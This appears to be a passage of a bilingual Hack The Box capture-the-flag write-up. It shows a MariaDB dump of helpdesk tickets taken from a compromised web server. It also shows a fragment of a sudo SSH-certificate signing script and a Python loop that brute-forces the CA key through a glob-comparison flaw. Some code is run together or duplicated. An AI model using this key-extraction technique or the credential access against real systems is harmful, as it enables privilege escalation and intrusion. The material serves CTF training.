www-data@itrc:/var/www/itrc$ ping db PING db (172.223.0.2) 56(84) bytes of data. 64bytesfrom resource-db.docker_resource (172.223.0.2): icmp_seq=1 ttl=64 time=0.088 ms ^C --- db ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 0.088/0.088/0.088/0.000 ms
有了賬號密碼就可以直接連接:
1 2 3 4 5 6 7 8 9 10 11
www-data@itrc:/var/www$ mysql -h resource-db.docker_resource -u jj -p Enter password: Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection idis12879 Server version: 11.3.2-MariaDB-1:11.3.2+maria~ubu2204 mariadb.org binary distribution
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type'help;'or'\h'forhelp. Type'\c' to clear the current input statement.
MariaDB [(none)]> show database; ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'database' at line 1 MariaDB [(none)]> show databases; +--------------------+ | Database | +--------------------+ | information_schema | | resourcecenter | +--------------------+ 2 rows inset (0.001 sec)
MariaDB [(none)]> use resourcecenter; Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A
MariaDB [resourcecenter]> select * from messages \G; *************************** 1. row *************************** id: 18 message: I will take care of this. from_user_id: 2 created_at: 2024-02-01 12:01:57 ticket_id: 1 attachment: NULL attachment_name: NULL *************************** 2. row *************************** id: 19 message: Access granted. Signed key will be emailed to you via encrypted email. from_user_id: 2 created_at: 2024-02-03 09:02:33 ticket_id: 1 attachment: NULL attachment_name: NULL *************************** 3. row *************************** id: 20 message: Thank you. Got it. from_user_id: 3 created_at: 2024-02-03 09:03:12 ticket_id: 1 attachment: NULL attachment_name: NULL *************************** 4. row *************************** id: 21 message: On it. from_user_id: 1 created_at: 2024-02-03 14:57:51 ticket_id: 3 attachment: NULL attachment_name: NULL *************************** 5. row *************************** id: 22 message: I will take care of this. from_user_id: 2 created_at: 2024-02-04 13:44:53 ticket_id: 4 attachment: NULL attachment_name: NULL *************************** 6. row *************************** id: 23 message: We're having some issues with the signing process. I'll get back to you once we have that resolved. from_user_id: 2 created_at: 2024-02-04 14:25:04 ticket_id: 4 attachment: NULL attachment_name: NULL *************************** 7. row *************************** id: 24 message: Can you attach a HAR file where the issue happens so the web team can troubleshoot? from_user_id: 1 created_at: 2024-02-04 16:12:44 ticket_id: 5 attachment: NULL attachment_name: NULL *************************** 8. row *************************** id: 25 message: Attached. from_user_id: 2 created_at: 2024-02-04 16:47:23 ticket_id: 5 attachment: ../uploads/c2f4813259cc57fab36b311c5058cf031cb6eb51.zip attachment_name: failure.zip *************************** 9. row *************************** id: 26 message: Any update here? There's a bit of a panic going on in finance. from_user_id: 4 created_at: 2024-02-05 08:01:36 ticket_id: 3 attachment: NULL attachment_name: NULL *************************** 10. row *************************** id: 27 message: We're going to take four laptops infor reimaging. Will update as that progresses. from_user_id: 1 created_at: 2024-02-05 08:12:11 ticket_id: 3 attachment: NULL attachment_name: NULL *************************** 11. row *************************** id: 28 message: They see the issue. I'm going to have to work with the IT team in corporate to get this resolved. For now, they've given me access to the IT server and a bash script to generate keys. I'll handle all SSH provisioning tickets. from_user_id: 1 created_at: 2024-02-05 15:32:54 ticket_id: 5 attachment: NULL attachment_name: NULL *************************** 12. row *************************** id: 29 message: It's this kind of stuff that makes me say it was a bad idea to move off the old system. from_user_id: 2 created_at: 2024-02-05 15:45:11 ticket_id: 5 attachment: NULL attachment_name: NULL *************************** 13. row *************************** id: 30 message: I've sent you the signed key via secure email from_user_id: 1 created_at: 2024-02-06 09:12:11 ticket_id: 4 attachment: NULL attachment_name: NULL *************************** 14. row *************************** id: 31 message: Got it. Thanks. from_user_id: 5 created_at: 2024-02-06 11:25:33 ticket_id: 4 attachment: NULL attachment_name: NULL *************************** 15. row *************************** id: 32 message: The API from the IT server seems to be working well now. I've got a script that will sign public keys with the appropriate principal to validate it works. I'm still handling these tickets, but hopefully we'll have it resolved soon. from_user_id: 1 created_at: 2024-02-07 16:21:23 ticket_id: 5 attachment: NULL attachment_name: NULL *************************** 16. row *************************** id: 33 message: The new system issuper flakey. I know it won't work across the rest of the company, but I'm going to at least leave the old certificate in place here until we prove we can work on the new one from_user_id: 2 created_at: 2024-02-09 16:45:19 ticket_id: 2 attachment: NULL attachment_name: NULL *************************** 17. row *************************** id: 34 message: Old certificates have been taken out of /etc. I've got the old signing cert secured. This server will trust both the old and the new for some time until we work out any issues with the new system. from_user_id: 2 created_at: 2024-02-10 09:12:11 ticket_id: 2 attachment: NULL attachment_name: NULL *************************** 18. row *************************** id: 35 message: Thanks for the update. I'm sure the new system will be fine. Closing this ticket. from_user_id: 1 created_at: 2024-02-1011:27:43 ticket_id: 2 attachment: NULL attachment_name: NULL *************************** 19. row *************************** id: 36 message: All testing of the updated API seems good. At IT's request I've deleted my SSH keys for their server. I'll still handle tickets using the script until we get a chance to update the ITRC web admin panel to use it. from_user_id: 1 created_at: 2024-02-10 11:53:42 ticket_id: 5 attachment: NULL attachment_name: NULL
MariaDB [resourcecenter]> select * from tickets \G; *************************** 1. row *************************** id: 1 subject: Need SSH Access to HR Server status: closed body: I need to access the HR server to update the employee handbook. created_at: 2024-02-01 08:09:21 submitted_by: 3 attachment: ../uploads/e8c6575573384aeeab4d093cc99c7e5927614185.zip attachment_name: pubkey-mgraham-please-sign.zip *************************** 2. row *************************** id: 2 subject: Decommission ITRC SSH Certificate status: closed body: We need to decommission the old ITRC SSH certificate infrastructure in favor of the new organization-wide IT signing certs. I'm handling the transition to the new system from the ITSC-side. Mike - Can you handle removing the old certs from the ITRC server? created_at: 2024-02-02 13:12:11 submitted_by: 1 attachment: NULL attachment_name: NULL *************************** 3. row *************************** id: 3 subject: Malware in finance dept status: open body: We have detected malware on the finance department server. We need to take it offline and clean it. created_at: 2024-02-03 14:12:11 submitted_by: 4 attachment: NULL attachment_name: NULL *************************** 4. row *************************** id: 4 subject: Please provision access to marketing servers status: closed body: I'm new to the IT team, need access to the marketing servers in order to apply updates and configure firewall. Public key attached. created_at: 2024-02-04 13:27:27 submitted_by: 5 attachment: ../uploads/eb65074fe37671509f24d1652a44944be61e4360.zip attachment_name: mcgregor_pub.zip *************************** 5. row *************************** id: 5 subject: SSH Key Signing Broken status: open body: The admin panel is supposed to allow me to get a signed certficate, but it just isn't working. created_at: 2024-02-04 14:19:54 submitted_by: 2 attachment: NULL attachment_name: NULL *************************** 6. row *************************** id: 6 subject: AutoPWN status: open body: AutoPWN created_at: 2024-07-25 11:28:39 submitted_by: 6 attachment: ../uploads/b829beac87ea0757d7d3432edeac36c6542f46c4.zip attachment_name: shell.zip *************************** 7. row *************************** id: 7 subject: AutoPWN status: open body: AutoPWN created_at: 2024-07-25 11:30:31 submitted_by: 7 attachment: ../uploads/21de93259c8a45dd2223355515f1ee70d8763c8a.zip attachment_name: shell.zip *************************** 8. row *************************** id: 8 subject: AutoPWN status: open body: AutoPWN created_at: 2024-07-25 12:48:56 submitted_by: 8 attachment: ../uploads/88dd73e336c2f81891bddbe2b61f5ccb588387ef.zip attachment_name: shell.zip *************************** 9. row ***************************
supported_principals="webserver,analytics,support,security" IFS=',' read -ra principal <<< "$principal_str" for word in"${principal[@]}"; do if ! echo "$supported_principals" | grep -qw "$word"; then echo "Error: '$word' is not a supported principal." echo "Choose from:" echo " webserver - external web servers - webadmin user" echo " analytics - analytics team databases - analytics user" echo " support - IT support server - support user" echo " security - SOC servers - support user" echo usage fi done
if [ ! -f "$public_key_file" ]; then echo "Error: Public key file '$public_key_file' not found." usage fi
if [ ! -f "$ca_file" ]; then echo "Error: CA file '$ca_file' not found." usage fi
if [[ $ca == "/etc/ssh/ca-it" ]]; then echo "Error: Use API for signing with this CA." usage fi
itca=$(cat /etc/ssh/ca-it) ca=$(cat "$ca_file") if [[ $itca == $ca ]]; then echo "Error: Use API for signing with this CA." usage fi
if [ ! -f "$public_key_file" ]; then echo "Error: Public key file '$public_key_file' not found." usage fi
supported_principals="webserver,analytics,support,security" IFS=',' read -ra principal <<< "$principal_str" for word in"${principal[@]}"; do if ! echo "$supported_principals" | grep -qw "$word"; then echo "Error: '$word' is not a supported principal." echo "Choose from:" echo " webserver - external web servers - webadmin user" echo " analytics - analytics team databases - analytics user" echo " support - IT support server - support user" echo " security - SOC servers - support user" echo usage fi done
if ! [[ $serial =~ ^[0-9]+$ ]]; then echo "Error: '$serial' is not a number." usage fi
deftest(stri,c): global guess f = open('/home/zzinter/test', 'w') f.writelines(stri) f.close()
out = subprocess.getoutput("sudo /opt/sign_key.sh test id_rsa.pub mane mane 100") if"Use API for signing with this CA"in out: guess += c returnTrue returnFalse
whileTrue: print(guess) found = False for x in guessstr: rec = test(guess + x + "*", x) if rec: found = True continue
使用上面的鏈接加入 HTB 的 academy 就可以免費看 Tire 0 的所有教程,這對初學者來説是很友好的。 (建議先完成 INTRODUCTION TO ACADEMY)
Join HTB’s academy with this link to get free access to all the tutorials for Tire 0. This is very beginner friendly. (It is recommended to complete INTRODUCTION TO ACADEMY first)